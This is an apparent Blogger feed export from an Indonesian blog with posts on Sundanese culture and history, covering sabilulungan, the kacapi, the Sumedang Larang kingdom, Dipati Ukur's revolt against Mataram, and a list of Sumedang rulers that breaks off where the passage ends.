tag:blogger.com,1999:blog-41123458207086245482024-03-14T16:09:45.042+07:00Hidup Mandiri Dengan Usaha SendiriJangan berhenti berjuang untuk perubahan menuju hidup lebih baik, karena kalau sudah diam itu merupakan masa depan akan lebih buruk.
SUATU PROSES TIDAK AKAN MELEBIHI SUATU HASILBoeladighttp://www.blogger.com/profile/01946696987493711396noreply@blogger.comBlogger47125tag:blogger.com,1999:blog-4112345820708624548.post-27280050538633169502021-01-01T19:59:00.000+07:002021-01-01T19:59:30.584+07:00<div class="separator" style="clear: both; text-align: center;"><iframe class="BLOG_video_class" allowfullscreen="" youtube-src-id="X0AIKPOrJAU" width="400" height="322" src="https://www.youtube.com/embed/X0AIKPOrJAU"></iframe></div>
Sabilulungan dalam bahasa sunda artinya gotong royong. Makna sabilulungan yaitu seiya sekata, seayun, selangkah, sepengertian, sepamahaman, saling mendukung, saling menyayangi, saling membantu, saling bekerja sama, rasa persaudaraan yang sedemikian erat dan kebersamaanBoeladighttp://www.blogger.com/profile/01946696987493711396noreply@blogger.com0tag:blogger.com,1999:blog-4112345820708624548.post-70218179441338908402020-12-31T10:29:00.003+07:002020-12-31T10:36:27.410+07:00<div class="separator" style="clear: both; text-align: center;"><iframe class="BLOG_video_class" allowfullscreen="" youtube-src-id="l71N6xTM3J8" width="400" height="322" src="https://www.youtube.com/embed/l71N6xTM3J8"></iframe></div>
Kacapi merupakan alat musik Sunda yang dimainkan sebagai alat musik utama dalam Tembang Sunda atau Mamaos Cianjuran dan kacapi suling. Kata kacapi dalam bahasa Sunda juga merujuk kepada tanaman sentul, yang dipercaya kayunya digunakan untuk membuat alat musik kacapi.
(Sumber : Wikipedia)Boeladighttp://www.blogger.com/profile/01946696987493711396noreply@blogger.com0tag:blogger.com,1999:blog-4112345820708624548.post-61454502938409081382010-09-21T23:11:00.000+07:002010-09-21T23:12:14.868+07:00Hilangnya Kerjaan SumedangKerajaan Sumedang Larang adalah salah satu kerajaan Islam berdiri abad ke-15 Masehi di Jawa Barat, Indonesia. Popularitas kerajaan ini tidak sebesar popularitas kerajaan Demak, Mataram, Banten dan Cirebon dalam literatur sejarah kerajaan-kerajaan Islam di Indonesia.<br /><br />Tapi, keberadaan kerajaan ini merupakan bukti sejarah sangat kuat pengaruhnya dalam penyebaran Islam di Jawa Barat, sebagaimana dilakukan Kerajaan Cirebon dan Kerajaan Banten.<br /><br />Sejarah<br /><br />Kerajaan Sumedang Larang (kini Kabupaten Sumedang) adalah salah satu dari berbagai kerajaan Sunda. Terdapat kerajaan Sunda lainnya seperti Kerajaan Pajajaran juga masih berkaitan erat dengan kerajaan sebelumnya yaitu (Kerajaan Sunda-Galuh).<br /><br />Namun keberadaan Kerajaan Pajajaran berakhir di wilayah Pakuan, Bogor, karena serangan aliansi kerajaan-kerajaan Cirebon, Banten dan Demak (Jawa Tengah).<br /><br />Sejak itu, Sumedang Larang dianggap menjadi penerus Pajajaran dan menjadi kerajaan yang memiliki otonomi luas untuk menentukan nasibnya sendiri.<br /><br />Asal-mula nama<br /><br />Kerajaan Sumedang Larang berasal dari pecahan kerajaan Sunda-Galuh beragama Hindu, didirikan Prabu Aji Putih atas perintah Prabu Suryadewata sebelum Keraton Galuh dipindahkan ke Pajajaran, Bogor.<br /><br />Seiring perubahan zaman dan kepemimpinan, nama Sumedang mengalami beberapa perubahan. Yang pertama yaitu Kerajaan Tembong Agung (Tembong artinya nampak dan Agung artinya luhur) dipimpin Prabu Guru Aji Putih pada abad ke XII.<br /><br />Kemudian pada masa zaman Prabu Tajimalela, diganti menjadi Himbar Buana, berarti menerangi alam, Prabu Tajimalela pernah berkata “Insun medal; Insun madangan”.<br /><br />Artinya Aku dilahirkan; Aku menerangi. Kata Sumedang diambil dari kata Insun Madangan berubah pengucapannya menjadi Sun Madang selanjutnya menjadi Sumedang. Ada juga berpendapat berasal dari kata Insun Medal berubah pengucapannya menjadi Sumedang dan Larang berarti sesuatu yang tidak ada tandingnya.<br /><br />Prabu Agung Resi Cakrabuana (950 M)<br /><br />Prabu Agung Resi Cakrabuana atau lebih dikenal Prabu Tajimalela dianggap pokok berdirinya Kerajaan Sumedang.<br /><br />Pada awal berdiri bernama Kerajaan Tembong Agung dengan ibukota di Leuwihideung (sekarang Kecamatan Darmaraja). Dia punya tiga putra yaitu Prabu Lembu Agung, Prabu Gajah Agung, dan Sunan Geusan Ulun.<br /><br />Berdasarkan Layang Darmaraja, Prabu Tajimalela memberi perintah kepada kedua putranya (Prabu Lembu Agung dan Prabu Gajah Agung), satu menjadi raja dan yang lain menjadi wakilnya (patih).<br /><br />Tapi keduanya tidak bersedia menjadi raja. Prabu Tajimalela memberi ujian kepada kedua putranya jika kalah harus menjadi raja. Kedua putranya diperintahkan pergi ke Gunung Nurmala (sekarang Gunung Sangkanjaya).<br /><br />Keduanya diberi perintah harus menjaga sebilah pedang dan kelapa muda (duwegan/degan). Tetapi, Prabu Gajah Agung karena sangat kehausan beliau membelah dan meminum air kelapa muda tersebut sehingga beliau dinyatakan kalah dan harus menjadi raja Kerajaan Sumedang Larang tetapi wilayah ibu kota harus mencari sendiri.<br /><br />Sedangkan Prabu Lembu Agung tetap di Leuwihideung, menjadi raja sementara yang biasa disebut juga Prabu Lembu Peteng Aji untuk sekedar memenuhi wasiat Prabu Tajimalela.<br /><br />Setelah itu Kerajaan Sumedang Larang diserahkan kepada Prabu Gajah Agung dan Prabu Lembu Agung menjadi resi. Prabu Lembu Agung dan para keturunannya tetap berada di Darmaraja. Sedangkan Sunan Geusan Ulun dan keturunannya tersebar di Limbangan, Karawang, dan Brebes.<br /><br />Setelah Prabu Gajah Agung menjadi raja maka kerajaan dipindahkan ke Ciguling. Dia dimakamkan di Cicanting Kecamatan Darmaraja dan mempunyai anak sepasang. Pertama Ratu Istri Rajamantri, menikah dengan Prabu Siliwangi dan mengikuti suaminya pindah ke Pakuan Pajajaran.<br /><br />Kedua Sunan Guling, yang melanjutkan menjadi raja di Kerajaan Sumedang Larang. Setelah Sunan Guling meninggal kemudian dilanjutkan oleh putra tunggalnya yaitu Sunan Tuakan. Setelah itu kerajaan dipimpin oleh putrinya yaitu Nyi Mas Ratu Patuakan.<br /><br />Nyi Mas Ratu Patuakan mempunyai suami yaitu Sunan Corenda, putra Sunan Parung, cucu Prabu Siliwangi (Prabu Ratu Dewata). Nyi Mas Ratu Patuakan mempunyai seorang putri bernama Nyi Mas Ratu Inten Dewata (1530-1578), yang setelah ia meninggal menggantikannya menjadi ratu dengan gelar Ratu Pucuk Umun.<br /><br />Ratu Pucuk Umun menikah dengan Pangeran Kusumahdinata, putra Pangeran Pamalekaran (Dipati Teterung), putra Aria Damar Sultan Palembang keturunan Majapahit. Ibunya Ratu Martasari/Nyi Mas Ranggawulung, keturunan Sunan Gunung Jati dari Cirebon.<br /><br />Pangeran Kusumahdinata lebih dikenal dengan julukan Pangeran Santri karena asalnya dari pesantren dan perilakunya yang sangat alim. Dengan pernikahan tersebut berakhirlah masa kerajaan Hindu di Sumedang Larang. Sejak itulah mulai menyebarnya agama Islam di wilayah Sumedang Larang.<br /><br />Ratu Pucuk Umun dan Pangeran Santri<br /><br />Pada pertengahan abad ke-16, mulailah corak agama Islam mewarnai perkembangan Sumedang Larang. Ratu Pucuk Umun, seorang wanita keturunan raja-raja Sumedang kuno yang merupakan seorang Sunda muslimah.<br /><br />Menikahi Pangeran Santri (1505-1579 M) bergelar Ki Gedeng Sumedang dan memerintah Sumedang Larang bersama-sama serta menyebarkan ajaran Islam di wilayah tersebut. Pangeran Santri adalah cucu dari Syekh Maulana Abdurahman (Sunan Panjunan) dan cicit dari Syekh Datuk Kahfi, seorang ulama keturunan Arab Hadramaut berasal dari Mekkah dan menyebarkan agama Islam di berbagai penjuru daerah di kerajaan Sunda.<br /><br />Pernikahan Pangeran Santri dan Ratu Pucuk Umun ini melahirkan Prabu Geusan Ulun atau dikenal dengan Prabu Angkawijaya. Pada masa Ratu Pucuk Umun, ibukota Kerajaan Sumedang Larang dipindahkan dari Ciguling ke Kutamaya.<br /><br />Dari pernikahan Ratu Pucuk Umun dengan Pangeran Santri memiliki enam orang anak, yaitu :<br /><br />1. Pangeran Angkawijaya (yang tekenal dengan gelar Prabu Geusan Ulun)<br />2. Kiyai Rangga Haji, yang mengalahkan Aria Kuda Panjalu ti Narimbang, supaya memeluk agama Islam.<br />3. Kiyai Demang Watang di Walakung.<br />4. Santowaan Wirakusumah, yang keturunannya berada di Pagaden dan Pamanukan, Subang.<br />5. Santowaan Cikeruh.<br />6. Santowaan Awiluar.<br /><br />Ratu Pucuk Umun dimakamkan di Gunung Ciung Pasarean Gede di Kota Sumedang.<br /><br /><br /><br />Prabu Geusan Ulun<br />Prabu Geusan Ulun (1580-1608 M) dinobatkan untuk menggantikan kekuasaan ayahnya, Pangeran Santri. DIa menetapkan Kutamaya sebagai ibukota kerajaan Sumedang Larang, letaknya di bagian Barat kota.<br /><br />Wilayah kekuasaannya meliputi Kuningan, Bandung, Garut, Tasik, Sukabumi (Priangan) kecuali Galuh (Ciamis). Kerajaan Sumedang pada masa Prabu Geusan Ulun mengalami kemajuan pesat di bidang sosial, budaya, agama, militer dan politik pemerintahan.<br /><br />Setelah wafat pada tahun 1608, putera angkatnya, Pangeran Rangga Gempol Kusumadinata atau Rangga Gempol I, yang dikenal dengan nama Raden Aria Suradiwangsa menggantikan kepemimpinannya.<br /><br />Pada masa awal pemerintahan Prabu Geusan Ulun, Kerajaan Pajajaran Galuh Pakuan sedang dalam masa kehancurannya karena diserang oleh Kerajaan Banten yang dipimpin Sultan Maulana Yusuf dalam rangka menyebarkan Agama Islam.<br /><br />Karena penyerangan itu Kerajaan Pajajaran hancur. Pada saat-saat kekalahan Kerajaan Pajajaran, Prabu Siliwangi sebelum meninggalkan Keraton beliau mengutus empat prajurit pilihan tangan kanan Prabu Siliwangi untuk pergi ke Kerajaan Sumedang dengan rakyat Pajajaran untuk mencari perlindungan yang disebut Kandaga Lante.<br /><br />Kandaga Lante tersebut menyerahkan mahkota emas simbol kekuasaan Raja Pajajaran, kalung bersusun dua dan tiga, serta perhiasan lainnya seperti benten, siger, tampekan, dan kilat bahu (pusaka tersebut masih tersimpan di Museum Prabu Geusan Ulun si Sumedang).<br /><br />Kandaga Lante menyerahkan tersebut empat orang yaitu Sanghyang Hawu atau Embah Jayaperkosa, Batara Dipati Wiradijaya atau Embah Nangganan, Sanghyang Kondanghapa, dan Batara Pancar Buana atau Embah Terong Peot.<br /><br />Walaupun pada waktu itu tempat penobatan raja direbut pasukan Banten (wadyabala Banten) tetapi mahkota kerajaan terselamatkan. Dengan diberikannya mahkota tersebut kepada Prabu Geusan Ulun, maka dapat dianggap bahwa Kerajaan Pajajaran Galuh Pakuan menjadi bagian Kerajaan Sumedang Larang, sehingga wilayah Kerajaan Sumedang Larang menjadi luas.<br /><br />Batas wilayah baratnya Sungai Cisadane, batas wilayah timurnya Sungai Cipamali (kecuali Cirebon dan Jayakarta), batas sebelah utaranya Laut Jawa, dan batas sebelah selatannya Samudera Hindia.<br /><br />Secara politik Kerajaan Sumedang Larang didesak oleh tiga musuh: yaitu Kerajaan Banten yang merasa terhina dan tidak menerima dengan pengangkatan Prabu Geusan Ulun sebagai pengganti Prabu Siliwangi.<br /><br />Pasukan VOC di Jayakarta yang selalu mengganggu rakyat. Kesultanan Cirebon ditakutkan bergabung dengan Kesultanan Banten. Pada masa itu Kesultanan Mataram sedang pada masa kejayaannya, banyak kerajaan-kerajaan kecil di Nusantara menyatakan bergabung kepada Mataram.<br /><br />Dengan tujuan politik pula akhirnya Prabu Geusan Ulun menyatakan bergabung dengan Kesultanan Mataram dan beliau pergi ke Demak dengan tujuan untuk mendalami agama Islam dengan diiringi empat prajurit setianya (Kandaga Lante).<br /><br />Setelah dari pesantren di Demak, sebelum pulang ke Sumedang ia mampir ke Cirebon untuk bertemu dengan Panembahan Ratu penguasa Cirebon, dan disambut dengan gembira karena mereka berdua sama-sama keturunan Sunan Gunung Jati.<br /><br />Dengan sikap dan perilakunya yang sangat baik serta wajahnya yang rupawan, Prabu Geusan Ulun disenangi oleh penduduk di Cirebon. Permaisuri Panembahan Ratu yang bernama Ratu Harisbaya jatuh cinta kepada Prabu Geusan Ulun.<br /><br />Ketika dalam perjalanan pulang ternyata tanpa sepengetahuannya, Ratu Harisbaya ikut dalam rombongan, dan karena Ratu Harisbaya mengancam akan bunuh diri akhirnya dibawa pulang ke Sumedang. Karena kejadian itu, Panembahan Ratu marah besar dan mengirim pasukan untuk merebut kembali Ratu Harisbaya sehingga terjadi perang antara Cirebon dan Sumedang.<br /><br />Akhirnya Sultan Agung dari Mataram meminta kepada Panembahan Ratu untuk berdamai dan menceraikan Ratu Harisbaya yang aslinya dari Pajang-Demak dan dinikahkan oleh Sultan Agung dengan Panembahan Ratu.<br /><br />Panembahan Ratu bersedia dengan syarat Sumedang menyerahkan wilayah sebelah barat Sungai Cilutung (sekarang Majalengka) untuk menjadi wilayah Cirebon. Karena peperangan itu pula ibukota dipindahkan ke Gunung Rengganis, yang sekarang disebut Dayeuh Luhur.<br /><br />Prabu Geusan Ulun memiliki tiga orang istri: yang pertama Nyi Mas Cukang Gedeng Waru, putri Sunan Pada; yang kedua Ratu Harisbaya dari Cirebon, dan yang ketiga Nyi Mas Pasarean. Dari ketiga istrinya tersebut ia memiliki lima belas orang anak:<br /><br />1. Pangeran Rangga Gede, yang merupakan cikal bakal bupati Sumedang<br />2. Raden Aria Wiraraja, di Lemahbeureum, Darmawangi<br />3. Kiyai Kadu Rangga Gede<br />4. Kiyai Rangga Patra Kalasa, di Cundukkayu<br />5. Raden Aria Rangga Pati, di Haurkuning<br />6. Raden Ngabehi Watang<br />7. Nyi Mas Demang Cipaku<br />8. Raden Ngabehi Martayuda, di Ciawi<br />9. Rd. Rangga Wiratama, di Cibeureum<br />10. Rd. Rangga Nitinagara, di Pagaden dan Pamanukan<br />11. Nyi Mas Rangga Pamade<br />12. Nyi Mas Dipati Ukur, di Bandung<br />13. Rd. Suridiwangsa, putra Ratu Harisbaya dari Panemabahan Ratu<br />14. Pangeran Tumenggung Tegalkalong<br />15. Rd. Kiyai Demang Cipaku, di Dayeuh Luhur.Boeladighttp://www.blogger.com/profile/01946696987493711396noreply@blogger.com0tag:blogger.com,1999:blog-4112345820708624548.post-91439982236907373082010-09-21T23:06:00.000+07:002010-09-21T23:08:22.769+07:00Dipati UkurDi kota Bandung ada sebuah jalan yang tak saya temukan di tempat lain yakni Jalan Dipati Ukur. Saya pun bertanya-tanya siapakah gerangan Dipati Ukur ini? Seorang pahlawan lokal layaknya Jalan Samadikun di Cirebon atau hanya nama dari tokoh legenda seperti Sangkuriang. Membuat penasaran. Ketika saya bertanya ke Google pun hasilnya sama saja, malah bertambah bingung karena ternyata kisah Dipati Ukur terlalu banyak versinya. Bahkan dari banyaknya versi itu untuk menentukan di mana Dipati Ukur ini wafat dan dimakamkan pun sangat bias. Ada sumber yang mengatakan kalau makam Raden Dipati Ukur itu di Kabuyutan, dekat jembatan kereta api, antara Soreang - Ciweday. Sumber lain mengatakan kalau Dipati Ukur adalah seorang Dipati yang berperang melawan Mataram, tertangkap di Gunung Rakutuk (tempat di mana Kartosuwiryo gembong DI/TII tertangkap) dekat pengalengan. Makamnya di Baleendah (dulu bernama Pabuntelan). Dan versi lainnya yang saya temukan adalah bahwa ketika Dipati Ukur bentrok dengan Mataram, beliau tertangkap di Gunung Lumbung, dekat Pengalengan, kemudian dibawa ke Mataram dan dihukum mati di alun-alun Mataram. Makin bingung.<br /><br />Tapi dari cerita di atas jelas Dipati Ukur merupakan orang besar yang karena misterinya membuat beliau menjadi semacam mitos dan legenda tanpa kejelasan sejarah. Tapi, menurut salah atu sumber, penyebab dari tak ada kejelasan sejarah mengenai Dipati Ukur tersebab karena pada waktu itu Dipati Ukur merupakan salah satu orang yang paling dicari oleh Mataram yang oleh karenanya rakyat menjadi takut untuk menceritakan kisah Dipati Ukur seutuhnya. Kisah itu pun menjadi terpenggal-penggal dan banyak versi seperti halnya puzzle yang terberai. <br /><br />Meskipun begitu, tak berarti mencari kejelasan sejarah dan kisah Dipati Ukur menjadi buntu karenanya. Ada beberapa disertasi yang bisa dijadikan tolak ukur untuk mencari kejelasan kisah sesungguhnya dari Dipati Ukur ini. Dan karena disertasi merupakan karya ilmiah yang keakuratan datanya didapat dari berbagai penelitian sekaligus fakta-fakta sejarah yang dapat dipertanggungjawabkan maka saya lebih memilih disertasi tersebut sebagai sumber tulisan dari kisah Dipati Ukur ini sekarang. Disertasi itu antara lain disertasi milik Edi S. Ekajati (Carita Dipati Ukur Karya Sastra Sejarah Sunda), disertasi Emuch Herman Sumantri (Sejarah Sukapura, Sebuah Telaah Filologis) dan hasil penelitian dari Atja, Saleh Danasasmita dan Ayat Rohaedi dari Naskah Pangeran Wangsakerta (Nagara Kerta Bumi 1.5). Dari ketiga sumber itulah saya akan menceritakan tentang Dipati Ukur itu di sini.<br /><br />Pengaruh Mataram di Tatar Sunda<br />Sebelum lebih jauh bercerita tentang Dipati Ukur ada baiknya kalau saya menyertakan terlebih dahulu tentang fakta sejarah yang menyertainya yakni kerajaan Galuh. Kerajaan Galuh merupakan sebuah kerajan di bawah naungan Tarumanegara yang didirikan pada tahun 612 oleh Wretikandayun dan berhasil ditaklukan oleh kerajaan Islam Cirebon pada tahun 1528. Cerita lengkapnya sendiri adalah bahwa pada tahun 1524, datanglah Fadhilah Khan ke Cirebon. Beliau adalah putra dari Sultan Huda di Samudera Pasai. Orang Portugis menyebut Fadhilah Khan sebagai Faletehan. Sebelum diangkat menjadi panglima prajurit Demak, oleh Sultan Trenggono, Faletehan diberi tugas untuk menyebarkan Islam di daerah Kekuasaan Pajajaran yakni Cirebon membantu Syarief Hidayatullah (Sunan Gunung Jati).<br /><br />Gabungan prajurit Demak dan Cirebon akhirnya pada tahun 1526 menguasai Banten. Kemudian Sunda Kelapa dan Pelabuan Pajajaran pun dapat dikuasai pada tahun 1527, Kerajaan Hindu Talaga (Majalengka) ditaklukan tahun 1529 (panglima perangnya waktu itu adalah Pangeran Walangsungsang). Dan puncaknya adalah pada tahun 1579 gabungan prajurit Demak, Cirebon dan Banten ini akhirnya dapat meruntuhkan pusat kerajaan Sunda Pakuan. Dari beberapa kerajaan penting di tatar Sunda yang ditaklukan oleh pasukan Gabungan itulah akhirnya semakin membuka jalan bagi Mataram untuk menguasai tatar Sunda. <br /><br />Pada tahun 30 Mei 1619, VOC datang ke Jakarta yang waktu itu bernama Batavia untuk mendirikan kongsi dagang di sana. Kongsi dagang VOC ini cepat sekali maju pesat karena VOC menerapkan sistem monopoli pada wilayah dagangnya bahkan hingga ke wilayah dagang di daerah kekuasan Mataram. Sontak saja Sultan Agung yang berkuasa waktu itu menjadi geram karena polah tingkah VOC ini membuat tataniaga Mataram menjadi tersendat. Merasa dirugikan oleh pola tingkah VOC, Mataram pada tahun 1628 memutuskan untuk menyerang Batavia. Gagal, mencoba kembali di tahun 1629 tetap gagal.<br /><br />Pemberontakan Dipati Ukur<br />Tanggal 12 Juli 1628, datang utusan Mataram ke Timbanganten (Tatar Ukur). Membawa surat tugas dari Sultan Agung, untuk memerintahkan Adipati Wangsanata atau disebut juga Wangsataruna alias Dipati Ukur, untuk memimpin pasukannya dan menyerbu VOC di Batavia membantu pasukan dari Jawa. Waktu itu bulan Oktober tahun 1628. Dalam surat tersebut ada semacam perjanjian bahwa pasukan Sunda harus menunggu Pasukan Jawa di Karawang sebelum nantinya bersama-sama menyerang Batavia. Tapi, setelah seminggu ditunggu ternyata pasukan dari Jawa tak juga kunjung datang sementara logistic makin menipis. Karena logistic yang kian menipis dan takut kalau mental prajurit keburu turun maka Dipati Ukur pun memutuskan untuk terlebih dahulu pergi ke Batavia menggempur VOC sambil menunggu bantuan pasukan dari Jawa. Baru dua hari Pasukan Sunda yang dipimpin oleh Dipati Ukur berperang melawan VOC, pasukan Jawa datang ke Karawang dan mendapati bahwa Pasukan Sunda tak ada di sana. Tersinggung karena merasa tak dihargai, bukannya membantu pasukan Sunda yang sedang mati-matian menggempur VOC pasukan Jawa ini malah memusuhi Pasukan Sunda.. <br /><br />Ditengah kekalutan itu, datang utusan dari Dayeuh Ukur membawa surat dari Enden Saribanon yang merupakan istri dari Dipati Ukur yang mengabarkan bahwa para gadis, istri-istri prajurit dan bahkan dirinya sendiri pun hampir diperkosa oleh panglima utusan Mataram dan pasukannya. Panglima dari Mataram itu sendiri ada di Dayeuh Ukur dalam rangka mengantarkan surat dari Sultan Agung dan begitu mendengar bahwa Dipati Ukur tak mengindahkan pesan dari Sultan Agung untuk menunggu pasukan Jawa di Karawang, para panglima ini kemudian melampiaskan kemarahannya dengan memperkosa gadis-gadis dan juga merampas harta benda mereka.<br /><br />Mendengar kabar itu, Dipati Ukur yang sedang berperang memutuskan untuk menghentikan perang dan kembali ke Pabuntelan (Paseurdayeuh Tatar Ukur, atau Baleendah - Dayeuhkolot sekarang). Dipati Ukur yang marah dengan kelakuan para utusan mataram itu sesampainya di Pabuntelan langsung menghabisi para utusan Mataram itu. Sayangnya, dari semua utusan itu ada satu orang yang lolos dari kematian dan kemudian melapor kepada Sultan Agung perihal apa yang dilakukan oleh Dipati Ukur terhadap teman-temannya.<br /><br />Dalam ‘Nagara Karta Bumi’ disebutkan bahwa salah satu watak Sultan Agung adalah jika memberi tugas kepada bawahannya itu tidaklah boleh gagal. Jika gagal maka sudah dipastikan bahwa yang bersangkutan akan dihukum mati. Maka, panglima Mataram yang lolos ini pun agar terhindar dari hukuman mati mengaranglah ia tentang kenapa pasukan Mataram bisa gagal menaklukan VOC. Semua kesalahan itu ditimpakan ke pundak Dipati Ukur. Sultan Agung pun murka karena bagaimana pun juga mundurnya Dipati Ukur dari medan perang merupakan kerugian besar bagi Mataram. Intinya, penyebab kalahnya Mataram adalah karena mundurnya Dipati Ukur. Oleh karenanya, Dipati Ukur dicap penghianat dan mau memberontak kepada Mataram. Jadi, karena Dipati Ukur dianggap memberontak maka Dipati Ukur pun oleh Sultan Agung pantas dihukum mati. Aklhirnya Sultan Agung pun menyuruh Cirebon untuk menangkap Dipati Ukur hidup atau mati. Penumpasan Dipati Ukur itu dipimpin langsung oleh Tumenggung Narapaksa dari Mataram. <br /><br />Dari kenyatan itu, Dipati Ukur kemudian sadar bahwa dirinya sejak sekarang harus menghadapi Mataram. Kekuatan pun di susun. Dipati Ukur mulai melobi beberapa bupati untuk juga melawan Mataram dan menjadi Kabupaten yang mandiri. Ajakan ini menimbulkan pro dan kontra. Sebagian ada yang setuju seperti Bupati Karawang, Ciasem, Sagalaherang, Taraju, Sumedang, Pamanukan, Limbangan, Malangbong dan sebagainya. Dan sebagian laginya tidak setuju. Di antara yang tidak setuju itu adalah Ki Somahita dari Sindangkasih, Ki Astamanggala dari Cihaurbeuti, dan Ki Wirawangsa dari Sukakerta. <br /><br />Belum juga Dipati Ukur berhasil mewujudkan impiannya untuk mendirikan kabupaten mandiri yang lepas dari kekuasan Mataram tiba-tiba bagus Sutaputra, salah satu pemuda yang sakti mandraguna (putra dari bupati Kawasen, wilayah Galuh) yang merupakan algojo yang dimintai tolong oleh Tumenggung Narapaksa keburu datang untuk menangkapnya. Terjadilah pertarungan sengit antar keduanya (adikabarkan hingga 40 hari 40 malam). Setelah semua tenaga terkuras akhirnya Dipati Ukur pun dapat diringkus kemudian di bawa ke Cirebon untuk diserahkan ke Mataram. Dipati Ukur pun akhirnya di hukum mati di alun-alun Mataram dengan cara dipenggal kepalanya.<br /><br />Sepeninggal Dipati Ukur wafat, kekuasan Mataram di tatar Sunda pun kian kukuh. Bahkan di wilayah pesisir utara, banyak pasukan Mataram yang tak kembali lagi ke Mataram dan lebih memilih memperistri penduduk setempat. Untuk memenuhi kebutuhan hidup para prajurit ini kemudian banyak yang membuka lahan sawah terutama di daerah Karawang, berbeda dengan kebiasaan masyarakat Sunda waktu itu yang umumnya berkebun. Mungkin, inilah yang pada akhirnya sampai sekarang Karawang terkenal dengan sawahnya dan menjadi salah satu lumbung padi di Jawa Barat.Boeladighttp://www.blogger.com/profile/01946696987493711396noreply@blogger.com0tag:blogger.com,1999:blog-4112345820708624548.post-66313222251841811332010-09-21T22:51:00.000+07:002010-09-21T22:57:29.422+07:00Kerajaan SumedangKerajaan Sumedang Larang (kini Kabupaten Sumedang) adalah salah satu dari berbagai kerajaan Sunda yang ada di provinsi Jawa Barat, Indonesia. Terdapat kerajaan Sunda lainnya seperti Kerajaan Pajajaran yang juga masih berkaitan erat dengan kerajaan sebelumnya yaitu (Kerajaan Sunda-Galuh), namun keberadaan Kerajaan Pajajaran berakhir di wilayah Pakuan, Bogor, karena serangan aliansi kerajaan-kerajaan Cirebon, Banten dan Demak (Jawa Tengah). Sejak itu, Sumedang Larang dianggap menjadi penerus Pajajaran dan menjadi kerajaan yang memiliki otonomi luas untuk menentukan nasibnya sendiri.<br /><br />No. Masa[1] Tahun <br />1 Kerajaan Sumedang Larang 900 - 1601 <br />2 Pemerintahan Mataram II 1601 - 1706 <br />3 Pemerintahan Vereenigde Oostindische Compagnie (VOC) 1706 - 1811 <br />4 Pemerintahan Inggris 1811 - 1816 <br />5 Pemerintahan Belanda / Nederland Oost-Indie 1816 - 1942 <br />6 Pemerintahan Jepang 1942 - 1945 <br />7 Pemerintahan Republik Indonesia 1945 - 1947 <br />8 Pemerintahan Republik Indonesia / Belanda 1947 - 1949 <br />9 Pemerintahan Negara Pasundan 1949 - 1950 <br />10 Pemerintahan Republik Indonesia 1950 - sekarang <br /><br /><br /><br /><br />[sunting] Asal-mula nama<br />Kerajaan Sumedang Larang berasal dari pecahan kerajaan Sunda-Galuh yang beragama Hindu, yang didirikan oleh Prabu Aji Putih atas perintah Prabu Suryadewata sebelum Keraton Galuh dipindahkan ke Pajajaran, Bogor. Seiring dengan perubahan zaman dan kepemimpinan, nama Sumedang mengalami beberapa perubahan. Yang pertama yaitu Kerajaan Tembong Agung (Tembong artinya nampak dan Agung artinya luhur) dipimpin oleh Prabu Guru Aji Putih pada abad ke XII. Kemudian pada masa zaman Prabu Tajimalela, diganti menjadi Himbar Buana, yang berarti menerangi alam, Prabu Tajimalela pernah berkata “Insun medal; Insun madangan”. Artinya Aku dilahirkan; Aku menerangi. Kata Sumedang diambil dari kata Insun Madangan yang berubah pengucapannya menjadi Sun Madang yang selanjutnya menjadi Sumedang. Ada juga yang berpendapat berasal dari kata Insun Medal yang berubah pengucapannya menjadi Sumedang dan Larang berarti sesuatu yang tidak ada tandingnya.<br /><br />[sunting] Pemerintahan berdaulat<br />No. Nama[1] Tahun <br />1 Nama Raja-raja Kerajaan Sumedang Larang <br /> a Prabu Guru Aji Putih 900 <br /> b Prabu Agung Resi Cakrabuana / Prabu Taji Malela 950 <br /> c Prabu Gajah Agung 980 <br /> d Sunan Guling 1000 <br /> e Sunan Tuakan 1200 <br /> f Nyi Mas Ratu Patuakan 1450 <br /> g Ratu Pucuk Umun / Nyi Mas Ratu Dewi Inten Dewata 1530 - 1578 <br /> h Prabu Geusan Ulun / Pangeran Angkawijaya 1578 - 1601 <br />2 Nama Bupati Wedana Masa Pemerintahan Mataram II <br /> a R. Suriadiwangsa / Pangeran Rangga Gempol I 1601 - 1625 <br /> b Pangeran Rangga Gede 1625 - 1633 <br /> c Pangeran Rangga Gempol II 1633 - 1656 <br /> d Pangeran Panembahan / Pangeran Rangga Gempol III 1656 - 1706 <br />3 Nama Bupati Wedana Masa Pemerintahan VOC, Inggris, Belanda dan Jepang <br /> a Dalem Tumenggung Tanumaja 1706 - 1709 <br /> b Pangeran Karuhun 1709 - 1744 <br /> c Dalem Istri Rajaningrat 1744 - 1759 <br /> d Dalem Anom 1759 - 1761 <br /> e Dalem Adipati Surianagara 1761 - 1765 <br /> f Dalem Adipati Surialaga 1765 - 1773 <br /> g Dalem Adipati Tanubaja (Parakan Muncang) 1773 - 1775 <br /> h Dalem Adipati Patrakusumah (Parakan Muncang) 1775 - 1789 <br /> i Dalem Aria Sacapati 1789 - 1791 <br /> j Pangeran Kornel / Pangeran Kusumahdinata 1791 - 1800 <br /> k Bupati Republik Batavia Nederland 1800 - 1810 <br /> l Bupati Kerajaan Nederland, dibawah Lodewijk, Adik Napoleon Bonaparte 1805 - 1810 <br /> m Bupati Kerajaan Nederland, dibawah Kaisar Napoleon Bonaparte 1810 - 1811 <br /> n Bupati Masa Pemerintahan Inggris 1811 - 1815 <br /> o Bupati Kerajaan Nederland 1815 - 1828 <br /> p Dalem Adipati Kusumahyuda / Dalem Ageung 1828 - 1833 <br /> q Dalem Adipati Kusumahdinata / Dalem Alit 1833 - 1834 <br /> r Dalem Tumenggung Suriadilaga / Dalem Sindangraja 1834 - 1836 <br /> s Pangeran Suria Kusumah Adinata / Pangeran Soegih 1836 - 1882 <br /> t Pangeran Aria Suria Atmaja / Pangeran Mekkah 1882 - 1919 <br /> u Dalem Adipati Aria Kusumahdilaga / Dalem Bintang 1919 - 1937 <br /> v Dalem Tumenggung Aria Suria Kusumah Adinata / Dalem Aria Sumantri 1937 - 1942 <br /> w Bupati Masa Pemerintahan Jepang 1942 - 1945 <br /> x Bupati Masa Peralihan Republik Indonesia 1945 - 1946 <br />4 Bupati Masa Pemerintahan Republik Indonesia <br /> a Raden Hasan Suria Sacakusumah 1946 - 1947 <br />5 Bupati Masa Pemerintahan Belanda / Indonesia <br /> a Raden Tumenggung M. Singer 1947 - 1949 <br />6 Bupati Masa Pemerintahan Negara Pasundan <br /> a Raden Hasan Suria Sacakusumah 1949 - 1950 <br />7 Bupati Masa Pemerintahan Republik Indonesia <br /> a Radi (Sentral Organisasi Buruh Republik Indonesia) 1950 <br /> b Raden Abdurachman Kartadipura 1950 - 